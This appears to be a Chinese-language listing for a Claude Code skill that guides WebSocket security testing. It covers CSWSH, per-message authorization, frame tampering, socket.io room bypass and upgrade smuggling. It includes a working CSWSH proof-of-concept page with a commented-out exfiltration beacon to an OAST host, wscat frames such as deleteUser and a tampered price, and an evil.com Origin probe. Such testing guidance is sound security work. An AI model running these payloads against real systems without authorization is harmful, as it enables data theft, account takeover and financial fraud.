关于 hunt-websocket
面向安全测试人员的 WebSocket 漏洞排查技能,涵盖端点发现、认证与授权、消息篡改及握手层问题。强调验证实际数据泄露或状态影响,以减少误报。
主要功能
- 01WebSocket 端点发现
- 02CSWSH 条件与影响验证
- 03逐消息认证和授权测试
- 04消息重放与篡改测试
- 05命名空间和房间越权检查
- 06握手层 Upgrade 请求走私检查
适用场景
- 01检查 Cookie 认证连接是否存在跨站劫持风险
- 02验证低权限会话能否执行高权限操作
- 03测试实时订单或游戏消息能否被篡改
- 04排查 socket.io 等实时通道的跨租户访问
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-websocket安装后在 Claude Code 中输入/hunt-websocket确认已加载。
详细介绍
HUNT-WEBSOCKET — WebSocket 安全
核心资产目标
如果使用 Cookie 认证握手,且没有 CSRF 令牌或每连接令牌,则 CSWSH(跨站 WebSocket 劫持)的严重性为高至严重(可实时窃取任意已登录受害者的数据)。
价值最高的攻击链:
- CSWSH → 数据窃取 / ATO — 握手通过环境 Cookie 进行认证,没有 CSRF 令牌,也未强制校验 Origin → 攻击者页面以受害者身份打开 WS,并传输其消息、个人身份信息和令牌。如果数据流中包含会话令牌、刷新令牌或 CSRF 令牌,则可进一步升级为 ATO。
- 没有逐消息认证 — 存在 HTTP / 握手认证,但不会重新授权各个 WS 帧 → 接受特权消息(
deleteUser、getSecretConfig)。 - 消息篡改 — 在交易、游戏或结账应用中修改传输中的帧(价格、数量、userId、金额)→ 金融欺诈。
- socket.io 命名空间 / 房间授权绕过 — 无需权限检查即可连接到特权命名空间,或加入其他用户的房间 → 跨租户实时数据窃取。
- 握手层 Upgrade 请求走私 — 格式错误的
Upgrade/Connection/Sec-WebSocket-*握手导致前置代理与源站对是否发生升级产生分歧 → 请求走私隧道。
依据 — 参考案例(开始测试前阅读)
以下是公开且可验证的参考资料。请据此判断真正的 WS 漏洞是什么样的,以及如何证明。不要编造其他报告 ID 或赏金金额。
| # | 来源 / ID | 类型 | 经验 |
|---|---|---|---|
| 1 | PortSwigger Web Security Academy — “跨站 WebSocket 劫持”(研究与实验) | CSWSH | CSWSH 的经典模型:Cookie 认证握手 + 没有 CSRF 令牌 + 缺少 Origin 检查 → 攻击者可以以受害者身份读取和发送数据。这是权威的方法论。 |
| 2 | Christian Schneider — “跨站 WebSocket 劫持(CSWSH)”(原始披露 / 文章,2013) | CSWSH | 首个公开的 CSWSH 技术:Cookie 认证握手 + 未强制校验 Origin;PoC 必须证明攻击者浏览器收到受害者数据,而不只是得到 101 响应。 |
| 3 | Coda CSWSH(本仓库 hunt-csrf 集合中引用) | CSWSH | 实时协作应用通常完全依靠 Cookie 对 socket 进行认证;缺失的控制措施是 Origin 允许列表。 |
| 4 | CVE-2020-7662 — websocket-extensions(Node)ReDoS | DoS | 特制的 Sec-WebSocket-Extensions 标头会触发灾难性回溯 — 握手标头本身就是攻击面,不只有数据帧。 |
| 5 | CVE-2024-37890 — ws(Node)DoS | DoS | 大量握手请求标头会耗尽服务器资源;这证实握手本身在数据帧传输前就可能受到解析器攻击。 |
| 6 | 过时的 socket.io / Engine.IO 技术栈 | socket.io | 这说明了第 7 阶段版本指纹识别步骤的必要性 — 先识别版本,再检查该版本的已知安全公告。 |
以上仅列出 4 个可验证的 CVE,并给出精确 ID。对于无法确定精确标识符的案例,请在描述技术时不要添加引用 — 错误的 CVE 比没有引用更糟。
第 1 阶段 — 发现 WebSocket 端点
# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
recon/$TARGET/ --include="*.js" 2>/dev/null | \
grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
recon/$TARGET/urls.txt | sort -u
# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
"https://$TARGET/ws"
# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open
在 Burp Pro 中浏览应用后,使用 get_proxy_websocket_history(以及 WebSockets 选项卡)枚举活动 socket、消息架构,以及哪些帧包含敏感认证数据。
阶段 2 — CSWSH(跨站 WebSocket 劫持)
CSWSH 需要以下 THREE 个条件同时满足:(a)握手通过环境凭据(自动发送的 Cookie)进行身份验证;(b)握手中没有不可预测的每连接令牌(没有 CSRF 令牌,URL/请求体中也没有令牌);(c)服务端不校验 Origin。缺少任何一个条件都会使攻击无法成功。
# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
# Look for: Cookie: session=... AND the ABSENCE of any per-request token
# (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
# If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
--header "Origin: https://evil.com" \
--header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
ws.onopen = () => {
log("[+] 101 opened from attacker origin");
ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
log("VICTIM-DATA: " + e.data);
// Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
// navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>
排除误报:
- 收到来自
Origin: evil.com的完整101响应并不算发现漏洞。许多服务端会接受升级请求,但之后不发送任何内容,或在收到第一帧经过身份验证的消息时关闭连接。 - 使用你植入账户 B 的唯一标记或不同的受害者 PII,验证收到的数据是否属于与攻击者不同的账户。
- 将收到的负载外传至 Burp Collaborator / OAST 监听器,以便在带外记录是否收到数据——这是报告中证明影响的依据。
- 如果握手中携带了每连接令牌(位于 URL、子协议或第一帧中),则 CSWSH 无法通过跨站方式利用;应降低评级或移除该漏洞。
阶段 3 — WS 消息缺少身份验证或身份验证薄弱
握手身份验证 ≠ 每条消息的身份验证。应用通常只对套接字进行一次身份验证,然后信任之后的每一帧。
# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}
# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}
**验证:**特权操作必须产生实际效果(例如测试用户被删除、返回机密配置,或通过第二个渠道可见的状态变化)——仅仅是某帧被接受但悄无声息地忽略并不算发现漏洞。使用未经过身份验证的客户端重新测试,以确认该操作并非只是无害地广播给所有人。
已签名消息重放
如果消息携带签名(例如 {"type":"payment","amount":100,"signature":"..."}),请测试其时效性和会话绑定。捕获一条已签名消息并测试:(a)绕过时间窗口:在消息过期时间戳之后重放消息(时钟偏差/验证缺陷);(b)绕过会话限制:从用户 A 的会话中捕获已签名消息,并在用户 B 的会话中重放——如果消息被接受,则签名未绑定用户/会话 ID。使用 Burp Repeater 存储并重放已签名帧,或在时间窗口过后使用 wscat 重建相同消息。
滥用业务逻辑:绕过状态机和规避速率限制
有状态协议(例如,交易平台预期的 connect → authenticate → verify_balance → place_order)可能会接受乱序消息或跳过前置步骤。测试:(a)跳过状态:连接后立即发送 place_order,不先执行 authenticate 或 verify_balance——如果缺少对各条消息的验证,许多技术栈就不会强制执行严格的顺序;(b)高频刷消息:快速发送相同或大量消息,以绕过 WS 层的速率限制(与 HTTP 速率限制不同)——测试每秒发送数百条消息,观察服务端是否限流、返回 429 或关闭连接。如果服务端接受并处理所有消息,就可能被用于滥用业务逻辑(例如,拆分成多笔小额付款以绕过金额上限,或快速创建订阅以耗尽资源)。
阶段 4 — 消息篡改(金融 / 游戏 / 结账)
# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
# {"price":100} -> {"price":0.01}
# {"amount":1} -> {"amount":9999}
# {"userId":123} -> {"userId":1} # impersonate admin
# {"orderTotal":...} -> recompute downstream?
# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}
**验证:**篡改后的值必须在服务端持久化——通过 REST/订单 API 或新建的套接字确认订单/余额/价格确实反映了篡改结果。许多 UI 会乐观地将你自己的帧回显给你;这种回显并不能证明漏洞。请展示对财务或状态的影响,最好使用沙盒/测试工具。
阶段 5 — socket.io / SignalR / Phoenix 命名空间与房间授权绕过
Engine.IO/socket.io 是构建在原始 WebSocket 之上的协议。数据包前缀(Engine.IO 4=MESSAGE,封装 socket.io 0=CONNECT、1=DISCONNECT、2=EVENT)携带命名空间/房间意图。加入时必须检查授权,但通常并未检查。
# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
--header "Cookie: session=YOUR_SESSION"
# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
# then CONNECT to a namespace with a socket.io CONNECT packet.
# CORRECT packet to join the /admin namespace: 40/admin,
# 4 = Engine.IO MESSAGE, 0 = socket.io CONNECT, /admin, = namespace
# (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
# Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
# on rejection. A 40 success to a privileged namespace as a low/no-priv
# user is the bug.
# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}] # root namespace
# Watch for 42 EVENT frames carrying ANOTHER user's data.
**验证:**区分已连接到命名空间和已收到特权数据。只有当你收到包含属于其他租户/用户数据的 42 事件帧,或特权 emit 产生了可验证的服务端效果时,才能确认该漏洞。如果收到 40/admin 确认帧后没有后续数据,可能只是连接到了一个开放但为空的命名空间。
SignalR 的对应方式:在
/<hub>/negotiate进行协商,然后连接并调用Invoke/Send集线器方法——测试方法级授权。Phoenix Channels:对topic:subtopic执行phx_join,并检查服务器的join/3是否会对主题进行授权。
阶段 6 — 握手层升级请求走私(不是帧走私)
重要提示:WebSocket 建立后,你的负载会封装在 WS 帧中,代理绝不会将其重新解析为 HTTP。在已打开的 wscat 会话中输入 GET /admin HTTP/1.1 不会有任何效果。WebSocket 相关的走私发生在握手阶段,即任何帧出现之前。
真正的技术是:发送一个 WebSocket Upgrade 请求,让前端代理和源站产生不同的解读——例如,使用错误的 Sec-WebSocket-Version,使源站回复 426 Upgrade Required(或 400),而代理已经认定连接已“升级”,并停止解析 HTTP。随后,代理会将后续字节作为不透明流直接隧道传输到源站,让你能够将任意 HTTP 请求走私通过前端控制(WAF/授权)。
# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:
# A) Valid-looking upgrade but unsupported version:
# Upgrade: websocket
# Connection: Upgrade
# Sec-WebSocket-Version: 777 <- origin should 426; does the proxy still tunnel?
# Sec-WebSocket-Key: <16-byte base64>
# B) Upgrade header present but Connection: keep-alive (mismatch)
# C) Smuggled second request body after a "successful" 101, then send a normal
# follow-up request on the same connection and watch for a desynced response.
请使用 Burp Pro 的 HTTP Request Smuggler 扩展来执行此操作(其中包含 WebSocket 升级测试用例),而不要手动操作。验证方式与经典走私完全相同:通过时序/差异探测证明发生了反同步,并且展示实际影响(访问内部/禁止的路径、污染缓存响应,或捕获其他用户的请求)——使用 Burp Collaborator / OAST 确认,绝不能仅凭单个含糊的响应下结论。
阶段 7 — socket.io / Engine.IO 特定说明
# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.
# Namespace selection is a PROTOCOL message, not a URL param.
# WRONG: wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
# ^ `nsp` is NOT a recognized socket.io query param. It is silently
# ignored and you connect to the ROOT namespace "/". You will believe
# you tested /admin when you did not.
# RIGHT: open the socket, then send the CONNECT packet 40/admin, (Phase 5).
# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
# 400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.
工具
npm install -g wscat # CLI WS client (raw + socket.io)
brew install websocat # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
# Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
# enumerate frames; generate_collaborator_payload + get_collaborator_interactions
# to prove out-of-band receipt from a CSWSH/smuggling PoC.
漏洞链表
| WS 漏洞 | 链接至 | 影响 |
|---|---|---|
| CSWSH + 流中的令牌 | 从受害者帧中窃取会话/刷新/CSRF 令牌 | ATO(严重) |
| 已确认 CSWSH | 订阅受害者频道,将数据外传至 OAST | 实时数据窃取(高) |
| 无逐消息授权 | 发送管理员/特权帧 | 权限提升(严重) |
| 消息篡改 | 修改 price/amount/userId,并确认服务端效果 | 金融欺诈(严重) |
| 命名空间/房间授权绕过 | 加入其他租户的房间,读取 42 事件 | 跨租户数据外传(高) |
| 握手升级请求走私 | 将 HTTP 隧道传过 WAF/授权,并由 OAST 确认 | 走私 → SSRF/缓存污染(高–严重) |
报告前必须完成的验证
- ✅ CSWSH:攻击者来源的概念验证 HTML 页面在受害者的另一个账号已登录时打开,必须收到该受害者的数据(通过唯一植入标记/不同的个人身份信息确认),并将其外传至 Collaborator/OAST。仅凭来自外部 Origin 的
101响应不算发现。 - ✅ 无逐条消息鉴权:特权帧必须产生可验证的服务器端影响(通过第二个渠道/REST API 确认状态发生变化),不能仅仅是“已接受”。
- ✅ 消息篡改:篡改后的值必须在服务器端持久保存(通过订单/余额 API 确认),不能只是回显在 UI 中。
- ✅ **命名空间/房间绕过:**必须收到包含其他用户数据的
42事件帧,不能只是收到40命名空间确认帧。 - ✅ **升级请求走私:**必须通过时序/差异探测证明请求不同步,并证明现实影响,且经 OAST 确认。不能仅凭单次响应推测。
- ❌ 不接受:仅有
101响应、已接受但被忽略的帧、自行回显的消息、已连接但为空的命名空间,或任何缺乏带外/跨账号证据的“已确认”声明。
严重程度:
- CSWSH 泄露会话/刷新令牌 → ATO:严重
- CSWSH → 实时会话数据窃取:高
- 管理员/特权 WS 操作无鉴权:严重
- 金融消息篡改(经服务器确认):严重
- 命名空间/房间订阅绕过(跨租户):高